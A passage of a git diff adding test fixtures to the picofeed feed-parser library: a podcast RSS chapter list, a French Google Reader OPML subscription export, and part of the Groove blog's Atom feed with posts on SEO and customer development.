+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST032" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:03:46" title="Ted Dunning, MapR" />
+
+ <psc:chapter start="00:18:23" title="Ellen Friedman" />
+
+ <psc:chapter start="00:34:34" title="Johnny Miller, DataStax" />
+
+ <psc:chapter start="00:53:52" title="Michael Hunger, Neo Technologies" />
+
+ <psc:chapter start="01:12:24" title="Akmal Chaudhri, DataStax" />
+
+ <psc:chapter start="01:29:17" title="Gereon Steffens, Finanzen100" />
+
+ <psc:chapter start="01:45:09" title="Max Neunhöffer, triAGENS" />
+
+ <psc:chapter start="02:00:43" title="Mahesh Paolini-Subramanya, Ubiquiti Networks" />
+
+ <psc:chapter start="02:23:56" title="Boaz Leskes, Elasticsearch" />
+
+ <psc:chapter start="02:39:35" title="Frank Celler, triAGENS und Dr. Stefan Edlich" />
+
+ <psc:chapter start="02:53:18" title="Russel Brown, Basho" />
+
+ <psc:chapter start="03:11:26" title="Jennifer Rullmann, FoundationDB" />
+
+ <psc:chapter start="03:28:52" title="Outro" />
+
+ </psc:chapters>
+
+ </item>
+
+ </channel>
+</rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/google-reader.opml b/vendor/fguillot/picofeed/tests/fixtures/google-reader.opml
new file mode 100644
index 000000000..89b64162d
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/google-reader.opml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<opml version="1.0">
+ <head>
+ <title>Abonnements dans Google Reader</title>
+ </head>
+ <body>
+ <outline title="Presse" text="Presse">
+ <outline text="Reflets" title="Reflets" type="rss"
+ xmlUrl="http://reflets.info/feed/" htmlUrl="http://reflets.info"/>
+ </outline>
+ <outline title="Culture" text="Culture">
+ <outline text="Omnilogismes du jour"
+ title="Omnilogismes du jour" type="rss"
+ xmlUrl="http://omnilogie.fr/flux.rss" htmlUrl="http://omnilogie.fr"/>
+ <outline text="Pourquoi Comment Combien"
+ title="Pourquoi Comment Combien" type="rss"
+ xmlUrl="http://viewtext.org/article?url=http%3A%2F%2Ffeeds.feedburner.com%2Fdrgoulu&amp;rl=false" htmlUrl="http://drgoulu.com"/>
+ <outline text="Science étonnante" title="Science étonnante"
+ type="rss"
+ xmlUrl="http://sciencetonnante.wordpress.com/feed/" htmlUrl="http://sciencetonnante.wordpress.com"/>
+ <outline text="Se Coucher Moins Bête"
+ title="Se Coucher Moins Bête" type="rss"
+ xmlUrl="http://viewtext.org/article?url=http%3A%2F%2Fwww.secouchermoinsbete.fr%2Frss%2Fanecdotes.rss.xml&amp;rl=false" htmlUrl="http://www.secouchermoinsbete.fr"/>
+ </outline>
+ <outline title="Droits du net" text="Droits du net">
+ <outline text="La Quadrature du Net"
+ title="La Quadrature du Net" type="rss"
+ xmlUrl="http://www.laquadrature.net/fr/rss.xml" htmlUrl="http://www.laquadrature.net"/>
+ </outline>
+ <outline title="Bloggers" text="Bloggers">
+ <outline text="Bluetouff" title="Bluetouff" type="rss"
+ xmlUrl="http://bluetouff.com/feed/" htmlUrl="http://bluetouff.com"/>
+ <outline text="Fredzone" title="Fredzone" type="rss"
+ xmlUrl="http://www.fredzone.org/feed/" htmlUrl="http://www.fredzone.org"/>
+ <outline text="HTeuMeuLeu" title="HTeuMeuLeu" type="rss"
+ xmlUrl="http://viewtext.org/article?url=www.hteumeuleu.fr%2Ffeed%2F&amp;rl=false" htmlUrl="http://www.hteumeuleu.fr"/>
+ <outline text="Korben" title="Korben" type="rss"
+ xmlUrl="https://korben.info/feed/atom" htmlUrl="https://korben.info/"/>
+ <outline text="Le Hollandais Volant"
+ title="Le Hollandais Volant" type="rss"
+ xmlUrl="http://lehollandaisvolant.net/rss.php?full" htmlUrl="http://lehollandaisvolant.net/"/>
+ <outline text="SebSauvage" title="SebSauvage" type="rss"
+ xmlUrl="http://sebsauvage.net/rhaa/rss_fulltext.php" htmlUrl="http://sebsauvage.net/rhaa/"/>
+ </outline>
+ <outline title="Tech" text="Tech">
+ <outline text="gHacks Technology News"
+ title="gHacks Technology News" type="rss"
+ xmlUrl="http://www.ghacks.net/feed/atom/" htmlUrl="http://www.ghacks.net/"/>
+ </outline>
+ <outline title="Officiel" text="Officiel">
+ <outline text="Gandi" title="Gandi" type="rss"
+ xmlUrl="https://www.gandi.net/feed/news/en/block/hp/" htmlUrl="http://www.gandi.net:80/news/block/en/hp"/>
+ <outline text="GitHub - Engineering"
+ title="GitHub - Engineering" type="rss"
+ xmlUrl="https://github.com/blog/engineering.atom" htmlUrl="https://github.com/blog"/>
+ <outline text="GitHub - New Features"
+ title="GitHub - New Features" type="rss"
+ xmlUrl="https://github.com/blog/ship.atom" htmlUrl="https://github.com/blog"/>
+ <outline text="jQuery" title="jQuery" type="rss"
+ xmlUrl="http://blog.jquery.com/feed/" htmlUrl="http://blog.jquery.com"/>
+ </outline>
+ <outline title="Code" text="Code">
+ <outline text="Alsacreations" title="Alsacreations"
+ type="rss"
+ xmlUrl="http://www.alsacreations.com/rss/actualites.xml" htmlUrl="http://www.alsacreations.com/"/>
+ <outline text="CodingSpot" title="CodingSpot" type="rss"
+ xmlUrl="http://codingspot.com/feed/" htmlUrl="http://codingspot.com"/>
+ <outline text="Fabien Sanglard" title="Fabien Sanglard"
+ type="rss" xmlUrl="http://fabiensanglard.net/rss.xml" htmlUrl="http://fabiensanglard.net"/>
+ <outline text="Ray Wenderlich" title="Ray Wenderlich"
+ type="rss"
+ xmlUrl="http://viewtext.org/article?url=http%3A%2F%2Ffeeds.feedburner.com%2FRayWenderlich&amp;rl=false" htmlUrl="http://www.raywenderlich.com"/>
+ <outline text="Vimeo / CocoaheadsRNS"
+ title="Vimeo / CocoaheadsRNS" type="rss"
+ xmlUrl="http://vimeo.com/cocoaheadsrns/videos/rss" htmlUrl="http://vimeo.com/cocoaheadsrns/videos"/>
+ </outline>
+ </body>
+</opml> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/groovehq.xml b/vendor/fguillot/picofeed/tests/fixtures/groovehq.xml
new file mode 100644
index 000000000..dd6eda3fd
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/groovehq.xml
@@ -0,0 +1,1767 @@
+<?xml version='1.0' encoding='utf-8' ?>
+<feed xmlns='http://www.w3.org/2005/Atom'>
+<title type='text'>Groove Blog</title>
+<generator uri='http://nestacms.com'>Nesta</generator>
+<id>tag:blog1.groovehq.com,2009:/</id>
+<link href='/articles.xml' rel='self' />
+<link href='/' rel='alternate' />
+<subtitle type='text'>Configure your subtitle</subtitle>
+<updated>2014-10-16T00:00:00+00:00</updated>
+<entry>
+<title>SEO for Startups — How We Got Over Our Fear of SEO</title>
+<link href='/blog/seo-for-startups' rel='alternate' type='text/html' />
+<id>tag:blog1.groovehq.com,2014-10-16:/blog/seo-for-startups</id>
+<content type='html'>&lt;p&gt;I used to think of SEO as a “scammy†strategy for startups. Here’s&lt;br&gt;why I changed my mind.&lt;/p&gt;
+
+&lt;p&gt;This is a post about being wrong.&lt;/p&gt;
+
+&lt;p&gt;About totally misjudging something, and waiting too long to try it because of preconceived notions.&lt;/p&gt;
+
+&lt;p&gt;And about how finally digging into the potential value of doing SEO “right†convinced me that it was worth pursuing.&lt;/p&gt;
+
+&lt;p&gt;If you’re in the same boat — that is, curious about SEO but not really sure where to start or why — then this post is for you.&lt;/p&gt;
+
+&lt;h2&gt;Three Reasons We Didn’t Do Any SEO Before&lt;/h2&gt;
+
+&lt;p&gt;There are a number of reasons we hadn’t given much thought to SEO in the past. Looking back, some of them were completely valid, and others totally misguided…&lt;/p&gt;
+
+&lt;h3&gt;1) Focus&lt;/h3&gt;
+
+&lt;p&gt;Our team is big on &lt;a href=&quot;http://www.groovehq.com/blog/focus&quot;&gt;focus&lt;/a&gt;. We believe in optimizing our time to spend it on the things that we know will drive results, and cutting mercilessly in the areas that don’t bring much of a return.&lt;/p&gt;
+
+&lt;p&gt;That’s why we &lt;a href=&quot;http://www.groovehq.com/blog/focus&quot;&gt;deleted our Facebook page&lt;/a&gt; last month.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/deleted-facebook.jpg&quot; title=&quot;Focus&quot; alt=&quot;Focus&quot; /&gt;
+&lt;b&gt;Focus&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Things were already going well, and in a world where we’re spending hundreds of team hours per week on product, blogging, content promotion, support and customer development, we didn’t really have the capacity to shift focus to SEO.&lt;/p&gt;
+
+&lt;p&gt;At least, I didn’t &lt;em&gt;think&lt;/em&gt; we did.&lt;/p&gt;
+
+&lt;h3&gt;2) Lack of Knowledge&lt;/h3&gt;
+
+&lt;p&gt;I’ve started four businesses, and grew them all without even thinking about SEO.&lt;/p&gt;
+
+&lt;p&gt;I don’t say that to brag; I say that to explain that SEO simply isn’t something I’ve come across in my career. It’s not something I’ve ever worried about.&lt;/p&gt;
+
+&lt;p&gt;Because of that, I knew next to nothing about it until I hired Jordan, our CTO, a self-taught search marketer who has successfully used SEO and SEM in his own businesses since 2000. Jordan has led the charge and taught our team a lot about doing SEO “right,†but before that, I didn’t really know much about it.&lt;/p&gt;
+
+&lt;p&gt;Which leads me to…&lt;/p&gt;
+
+&lt;h3&gt;3) “SEO Is Scammyâ€&lt;/h3&gt;
+
+&lt;p&gt;I have no doubt that I’m going to piss off some SEO experts by saying this.&lt;/p&gt;
+
+&lt;p&gt;But frankly — probably because I didn’t know anything about it — before last year, I had the pre-existing notion that SEO was not a whole lot more than a scammy tactic to “game†Google.&lt;/p&gt;
+
+&lt;p&gt;My experiences with “SEO†mostly consisted of:&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Struggling to finish reading blog posts and company websites that were obviously built to house keywords, and &lt;em&gt;not&lt;/em&gt; interesting content.&lt;/li&gt;
+&lt;li&gt;&lt;p&gt;Seeing (and deleting) posts with generic comments and links back to business sites on this blog, every single week.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/spammy-comments.png&quot; title=&quot;Spammy comments&quot; alt=&quot;Spammy comments&quot; /&gt;
+&lt;b&gt;Spammy comments&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;(Note: I actually don’t mind people linking to their business on our blog &lt;i&gt;at all&lt;/i&gt;. If you’re adding value to our community, I’m all about spreading the good word. It’s those who don’t even take the time to read or contribute before spamming us with their links that I can’t stand.)&lt;/p&gt;&lt;/li&gt;
+&lt;li&gt;&lt;p&gt;Getting pitch after pitch from offshore SEO “agencies†offering to write keyword-optimized articles and submit them to hundreds of sites around the web.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/black-seo-offer.png&quot; title=&quot;“SEOâ€&quot; alt=&quot;“SEOâ€&quot; /&gt;
+&lt;b&gt;“SEOâ€&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;
+&lt;/ul&gt;
+
+
+&lt;p&gt;Unfortunately, this was a case of &lt;em&gt;only&lt;/em&gt; seeing the bad side and assuming the worst. And even more unfortunately, that ignorance was costing us traffic.&lt;/p&gt;
+
+&lt;h2&gt;Why We Decided to Optimize Our Website&lt;/h2&gt;
+
+&lt;p&gt;We first began to consider the idea of optimizing our marketing site for Google when we did our last &lt;a href=&quot;http://www.groovehq.com/blog/long-form-landing-page&quot;&gt;redesign&lt;/a&gt;. And while we didn’t do it then, I was warming up to the idea.&lt;/p&gt;
+
+&lt;p&gt;The more I read about &lt;em&gt;real&lt;/em&gt; SEO — and not the scammy stuff I had come across — the more I began to see the real value in taking this on.&lt;/p&gt;
+
+&lt;p&gt;Some of the resources I found invaluable were:&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Neil Patel’s &lt;cite&gt;&lt;a href=&quot;https://blog.kissmetrics.com/seo-guide/&quot;&gt;SEO: A Comprehensive Guide for Beginners&lt;/a&gt;&lt;/cite&gt;.&lt;/li&gt;
+&lt;li&gt;David Zheng’s guest post on OkDork, &lt;cite&gt;&lt;a href=&quot;http://okdork.com/2014/03/26/how-we-grew-okdork-200-with-these-exact-seo-tips/&quot;&gt;How We Grew OkDork 200% With These Exact SEO Tips&lt;/a&gt;&lt;/cite&gt;.&lt;/li&gt;
+&lt;li&gt;Brian Clark’s &lt;cite&gt;&lt;a href=&quot;http://scribecontent.com/downloads/How-to-Create-Compelling-Content.pdf&quot;&gt;How To Create Compelling Content That Ranks Well In Search Engines&lt;/a&gt;&lt;/cite&gt;.&lt;/li&gt;
+&lt;li&gt;&lt;cite&gt;&lt;a href=&quot;http://unbounce.com/seo/the-adaptive-seo-approach/&quot;&gt;The Adaptive SEO Approach&lt;/a&gt;&lt;/cite&gt; by Yomar Lopez on the Unbounce blog.&lt;/li&gt;
+&lt;/ul&gt;
+
+
+&lt;p&gt;Finally, I looked at our own conversion numbers, and what I found sealed the deal.&lt;/p&gt;
+
+&lt;p&gt;Visitors from external sources were signing up at a rate of 2.9%.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/conversions-external.png&quot; title=&quot;Conversions: External Sources&quot; alt=&quot;Conversions: External Sources&quot; /&gt;
+&lt;b&gt;Conversions: External Sources&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Traffic from the blog was converting at just over 5%.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/conversions-blog.png&quot; title=&quot;Conversions: Blog&quot; alt=&quot;Conversions: Blog&quot; /&gt;
+&lt;b&gt;Conversions: Blog&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;But traffic from organic search? A whopping 9.4%.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/conversions-organic.png&quot; title=&quot;Conversions: Organic Search&quot; alt=&quot;Conversions: Organic Search&quot; /&gt;
+&lt;b&gt;Conversions: Organic Search&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;A new goal became clear: we needed to increase our search traffic.&lt;/p&gt;
+
+&lt;h2&gt;Our Strategy: How We Built a Solid SEO Foundation&lt;/h2&gt;
+
+&lt;p&gt;I want to be &lt;em&gt;very&lt;/em&gt; clear: this is NOT an expert-level plan for SEO.&lt;/p&gt;
+
+&lt;p&gt;This isn’t even an &lt;em&gt;intermediate&lt;/em&gt; list of the things that you could do.&lt;/p&gt;
+
+&lt;p&gt;This is how we, as a startup that was doing literally &lt;em&gt;nothing&lt;/em&gt; for SEO, began to build a foundation to increase organic search traffic to our marketing site.&lt;/p&gt;
+
+&lt;p&gt;If you’re an SEO expert, this will be &lt;em&gt;very&lt;/em&gt; basic. But if you’re interested in taking the first steps — and seeing how we got &lt;em&gt;awesome&lt;/em&gt; results from a simple process&amp;nbsp;— then read on to see what we did.&lt;/p&gt;
+
+&lt;h3&gt;Step 1: Identify the Problem&lt;/h3&gt;
+
+&lt;p&gt;We had a single-page marketing site that, while converting reasonably well, wasn’t doing us any favors in search engines. In a crowded space, we were often falling onto the third, fourth or fifth page for searches relevant to our customers.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/falling-behind.png&quot; title=&quot;Falling Behind&quot; alt=&quot;Falling Behind&quot; /&gt;
+&lt;b&gt;Falling Behind&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; While our site was doing well when it came to conversions, we were leaving money on the table with a single-page design by not giving search engines anything to pick up.&lt;/p&gt;
+
+&lt;h3&gt;Step 2: See What Prospects Are Searching for&lt;/h3&gt;
+
+&lt;p&gt;We had a &lt;em&gt;bit&lt;/em&gt; of a head start here, as we had done similar research for a small AdWords test last year. But essentially, we used &lt;a href=&quot;https://adwords.google.com/KeywordPlanner&quot;&gt;Google’s Keyword Planner&lt;/a&gt; to check how frequently people were searching hundreds of different terms (and variations of those terms).&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/google-keyword-planner.png&quot; title=&quot;Google Keyword Planner&quot; alt=&quot;Google Keyword Planner&quot; /&gt;
+&lt;b&gt;Google Keyword Planner&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;For some of the terms, we simply guessed, but for many, we used records from my &lt;a href=&quot;http://www.groovehq.com/blog/customer-development&quot;&gt;customer development conversations&lt;/a&gt;, which continued to pay off. As it turned out, many of the challenges and goals our customers described to me were high-quality targeted keywords for us.&lt;/p&gt;
+
+&lt;p&gt;We also used &lt;a href=&quot;http://keywordtool.io&quot;&gt;Keyword Tool&lt;/a&gt;, which generates a list of Google’s autocomplete suggestions for any search, to find long-tail keywords that people were searching for.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/keyword-tool.png&quot; title=&quot;Keyword Tool&quot; alt=&quot;Keyword Tool&quot; /&gt;
+&lt;b&gt;Keyword Tool&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;This research also proved to be invaluable for the strategy of our new &lt;a href=&quot;http://www.groovehq.com/support&quot;&gt;customer service blog&lt;/a&gt;, which we were building at around the same time. I’ll dive much more deeply into the development of that blog in a future post.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Keyword research is a “get your hands dirty†process, but well worth it. Try to think like your customers, or better yet, actually talk to your customers to learn how they think. There are tools to make this easier.&lt;/p&gt;
+
+&lt;h3&gt;Step 3: Plan the Sitemap&lt;/h3&gt;
+
+&lt;p&gt;We ignored any keyword that had many tens of thousands of searches per month (e.g., customer service), and did our best to focus on smaller to medium sized terms (a few thousand searches per month).&lt;/p&gt;
+
+&lt;p&gt;Why?&lt;/p&gt;
+
+&lt;p&gt;Because ranking for a term like “help desk software†would not only be a &lt;em&gt;huge&lt;/em&gt; uphill climb for us, but it would hardly yield the most targeted prospects (there are many, &lt;em&gt;many&lt;/em&gt; people who search for “customer service†who will never buy customer service software).&lt;/p&gt;
+
+&lt;p&gt;On the other hand, the smaller keywords (e.g., “help desk for saas startupâ€), while they didn’t have nearly as many searches, would yield far, far more targeted leads.&lt;/p&gt;
+
+&lt;p&gt;Plus, by focusing on 100 smaller terms rather than one or two big ones, we would “diversify†our targeting so that the success of our site wouldn’t be dependant on the fluctuating interest in a single term.&lt;/p&gt;
+
+&lt;p&gt;We took our list of keywords and began to build the sitemap. Our goal was to create enough pages so that we could target the most important keywords, but to stop before we began creating duplicate content; something that, aside from damaging the visitor experience, is a sign of those “scammy†tactics and an instant turn-off when I see it on a marketing site.&lt;/p&gt;
+
+&lt;p&gt;We housed our map in a simple Google Spreadsheet to help us keep track of which keywords we’d need to hit for each page, along with titles and meta descriptions.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/sitemap-spreadsheet.png&quot; title=&quot;Sitemap Spreadsheet&quot; alt=&quot;Sitemap Spreadsheet&quot; /&gt;
+&lt;b&gt;Sitemap Spreadsheet&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Each page had one or two “primary†keywords, along with long-tail keywords that we used to capture hyper-targeted searches. We would try to make sure that our primary keywords were included across the headers for each page.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; There are a number of guidelines and best practices for building a sitemap, but it comes down to picking the most high-value keywords and building content that people will want to read.&lt;/p&gt;
+
+&lt;h3&gt;Step 4: Wireframe&lt;/h3&gt;
+
+&lt;p&gt;We built simple wireframes for each page. Complete enough to give us some idea of what kind of copy we’d need, but basic enough that the copy could still take the stage without worrying about where it would “fit.â€&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/wireframes.png&quot; title=&quot;Wireframes&quot; alt=&quot;Wireframes&quot; /&gt;
+&lt;b&gt;Wireframes&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; We’re big believers in “copy first†design, so while we mocked up basic wireframes, we left ourselves plenty of room to let the copy be the star.&lt;/p&gt;
+
+&lt;h3&gt;Step 5: Copy&lt;/h3&gt;
+
+&lt;p&gt;Even though the goal of this effort was to improve our SEO, our keywords still came &lt;em&gt;second&lt;/em&gt; in our copy.&lt;/p&gt;
+
+&lt;p&gt;We were sensitive to our fear of our site moving away from the customer-friendly messaging we have and losing our “voice†at the expense of trying to force keywords into our copy.&lt;/p&gt;
+
+&lt;p&gt;So first, we focused on doing all of the things we learned how to do in our first redesign. We used language from our customer development interviews and tried to talk like our customers do. We hit pain points, goals, and important benefits; including many of the ones we knew were successful from tests on our existing site.&lt;/p&gt;
+
+&lt;p&gt;And while we had the keywords in mind as we developed the copy, we didn’t worry about whether or not we “checked them off†along the way.&lt;/p&gt;
+
+&lt;p&gt;Only after we were happy with the way everything read did we look at ways to incorporate:&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Primary keywords into headers&lt;/li&gt;
+&lt;li&gt;Secondary keywords into subheads&lt;/li&gt;
+&lt;li&gt;Long-tail keywords into copy&lt;/li&gt;
+&lt;/ul&gt;
+
+
+&lt;p&gt;In addition, anywhere we linked to other pages within the site, we would try to include the primary keywords for the linked page &lt;em&gt;around&lt;/em&gt; the hyperlink.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/optimizing-links.png&quot; title=&quot;Optimizing Links&quot; alt=&quot;Optimizing Links&quot; /&gt;
+&lt;b&gt;Optimizing Links&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;In the end, we were satisfied that we were able to maintain our voice and tone while improving the copy.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; By writing interesting, quality content &lt;em&gt;first&lt;/em&gt;, we were able to incorporate our keywords afterwards and still maintain messaging that resonates with our customers.&lt;/p&gt;
+
+&lt;h3&gt;Step 6: Design&lt;/h3&gt;
+
+&lt;p&gt;After putting the pieces together, we were left with a site that looked and felt good enough to launch.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/final-result.jpg&quot; title=&quot;Final Design&quot; alt=&quot;Final Design&quot; /&gt;
+&lt;b&gt;Final Design&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Our friends at &lt;a href=&quot;http://lessfilms.com/&quot;&gt;Less Films&lt;/a&gt; also created an awesome product video for the homepage that incorporated everything we’d learned since the first time we made a Groove video. The making of the video was an in-depth and fascinating process with tons of research and background work involved, and I’ll definitely be writing about the experience here in the future.&lt;/p&gt;
+
+&lt;p style=&quot;position: relative&quot;&gt;
+&lt;iframe style=&quot;display: block; margin: 40px auto 40px -28px; border: 8px solid #FFF; background-color: #FFF; box-shadow: 0px 1px 5px rgba(0, 0, 1, 0.3), 0px 0px 18px rgba(0, 0, 0, 0.1) inset; padding: 60px 20px 20px;&quot; width=&quot;690&quot; height=&quot;390&quot; src=&quot;//fast.wistia.net/embed/iframe/ipah6liii5&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;b style=&quot;display: block; color: #000; position: absolute; width: 100%; text-align: center; font-family: Helvetica,'sans-serif'; font-size: 24px; font-weight: normal; top: 30px; left: 0px;&quot;&gt;New Groove Product Video&lt;/b&gt;
+&lt;/p&gt;
+
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Our total time from start to finish was just a few weeks. A simple design process let us ship a solid site quickly and iterate from there.&lt;/p&gt;
+
+&lt;h2&gt;The Results&lt;/h2&gt;
+
+&lt;p&gt;It’s early, but the results have been promising.&lt;/p&gt;
+
+&lt;p&gt;A week after launch, we were ranking on the front page for a number of our targeted terms.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/result-search.png&quot; title=&quot;Results: Search&quot; alt=&quot;Results: Search&quot; /&gt;
+&lt;b&gt;Results: Search&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;And with the lift from organic search, overall conversions were boosted, too.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/seo-for-startups/result-conversions.png&quot; title=&quot;Results: Conversions&quot; alt=&quot;Results: Conversions&quot; /&gt;
+&lt;b&gt;Results: Conversions&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Note: these results might not be typical. We’ve spent more than a year building this blog, and our site has quite a bit of SEO power because of the number of links that it gets. But with time, you can do exactly the same.&lt;/p&gt;
+
+&lt;h3&gt;How to Apply This to Your Business&lt;/h3&gt;
+
+&lt;p&gt;We’ve still got a &lt;em&gt;long&lt;/em&gt; way to go. And plenty left to do when it comes to fortifying our SEO strategy.&lt;/p&gt;
+
+&lt;p&gt;But by just taking a few simple steps, we’ve managed to get some &lt;em&gt;very&lt;/em&gt; exciting results.&lt;/p&gt;
+
+&lt;p&gt;As I said, this isn’t an advanced, or even intermediate strategy. In fact, there’s a good chance that you know more about SEO than I do.&lt;/p&gt;
+
+&lt;p&gt;This is meant to serve as a basic primer for businesses who were in the same position as us: afraid and unaware of how to actually do SEO right without becoming “those people.â€&lt;/p&gt;
+
+&lt;p&gt;If you haven’t started doing any SEO because you don’t know &lt;em&gt;where&lt;/em&gt; to start, then I hope this post has inspired you to give it a try.&lt;/p&gt;
+
+&lt;p&gt;It was certainly worth it for us.&lt;/p&gt;
+</content>
+<published>2014-10-16T00:00:00+00:00</published>
+<updated>2014-10-16T00:00:00+00:00</updated>
+</entry>
+<entry>
+<title>Customer Development for Startups: What I Learned Talking to 500 Customers in 4 Weeks</title>
+<link href='/blog/customer-development' rel='alternate' type='text/html' />
+<id>tag:blog1.groovehq.com,2014-10-09:/blog/customer-development</id>
+<content type='html'>&lt;p&gt;I recently spent more than 100 hours talking to Groove customers.&lt;br&gt;Here’s what I learned…&lt;/p&gt;
+
+&lt;p&gt;In some movies, top military commanders have red phones that they only pick up when things start to go wrong.&lt;/p&gt;
+
+&lt;p&gt;They’ll usually see that an issue is getting out of hand, and they’ll grab the phone (without dialing, of course), yelling something dramatic like “get me the President!â€&lt;/p&gt;
+
+&lt;p&gt;While I have no idea if this emergency phone exists, I &lt;em&gt;do&lt;/em&gt; believe that something similar exists for startup founders.&lt;/p&gt;
+
+&lt;p&gt;When your core metrics start to lag behind your goals — in our case, I wasn’t happy to see churn creeping up close to 3% as our customer base grew — there’s a lot you can do to start to right the ship.&lt;/p&gt;
+
+&lt;p&gt;You can, and &lt;em&gt;should&lt;/em&gt;, dig deep into your metrics to spot the weak points. You can, and &lt;em&gt;should&lt;/em&gt;, ask the smart people around you for advice. You can, and &lt;em&gt;should&lt;/em&gt;, test new tactics and approaches to improve.&lt;/p&gt;
+
+&lt;p&gt;But the hypothetical “red phone†that always seems to help us the most connects directly to our customers.&lt;/p&gt;
+
+&lt;p&gt;In the very early days, we spent many hours talking to every single one of our customers. We didn’t have a choice; exhaustive feedback was the only way to make our product good enough to reach Product/Market Fit.&lt;/p&gt;
+
+&lt;p&gt;And we’ve continued to believe strongly in the power of qualitative research; we’ve done a ton of it, from collecting feedback in &lt;a href=&quot;http://www.groovehq.com/blog/non-scaleable-growth-tactics&quot;&gt;onboarding emails&lt;/a&gt; to &lt;a href=&quot;http://www.groovehq.com/blog/long-form-landing-page&quot;&gt;Qualaroo widgets&lt;/a&gt; to &lt;a href=&quot;http://www.groovehq.com/blog/net-promoter-score&quot;&gt;Net Promoter Score&lt;/a&gt; surveys.&lt;/p&gt;
+
+&lt;p&gt;But it had been a while since I dove in to hardcore customer development interviews. In-depth one-on-one conversations to help us understand the experience of our users like no survey ever could.&lt;/p&gt;
+
+&lt;p&gt;And with a core metric slipping too far for comfort, it was time to pick up the red phone again.&lt;/p&gt;
+
+&lt;h2&gt;How I Had 500 Customer Conversations in Four Weeks&lt;/h2&gt;
+
+&lt;p&gt;On September 10&lt;sup&gt;th&lt;/sup&gt;, I sent this email to every Groove customer:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/non-scaleable-growth-tactics/a-request.png&quot; title=&quot;The Ask&quot; alt=&quot;The Ask&quot; /&gt;
+&lt;b&gt;The Ask&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;The response blew me away. I expected a couple hundred people to write back over the following week, but my inbox quickly began to fill.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/customer-development/uh-oh.png&quot; title=&quot;Uh oh.&quot; alt=&quot;Uh oh.&quot; /&gt;
+&lt;b&gt;Uh oh.&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;There was no way I’d be able to schedule all of these without drowning under a heap of back-and-forth emails. Scrambling, I signed up for a &lt;a href=&quot;http://www.doodle.com&quot;&gt;Doodle&lt;/a&gt; account, which let me send a link to people who were willing to chat, giving them the chance to schedule their call at a time that worked for them.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/customer-development/doodle.png&quot; title=&quot;Doodle&quot; alt=&quot;Doodle&quot; /&gt;
+&lt;b&gt;Doodle&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Slots quickly began to fill up (I had to go back and add more spots four times). While I only asked for ten minutes, I booked the calls in 30-minute blocks just in case they went long, and to give myself some breathing room to compile notes and digest each call afterwards.&lt;/p&gt;
+
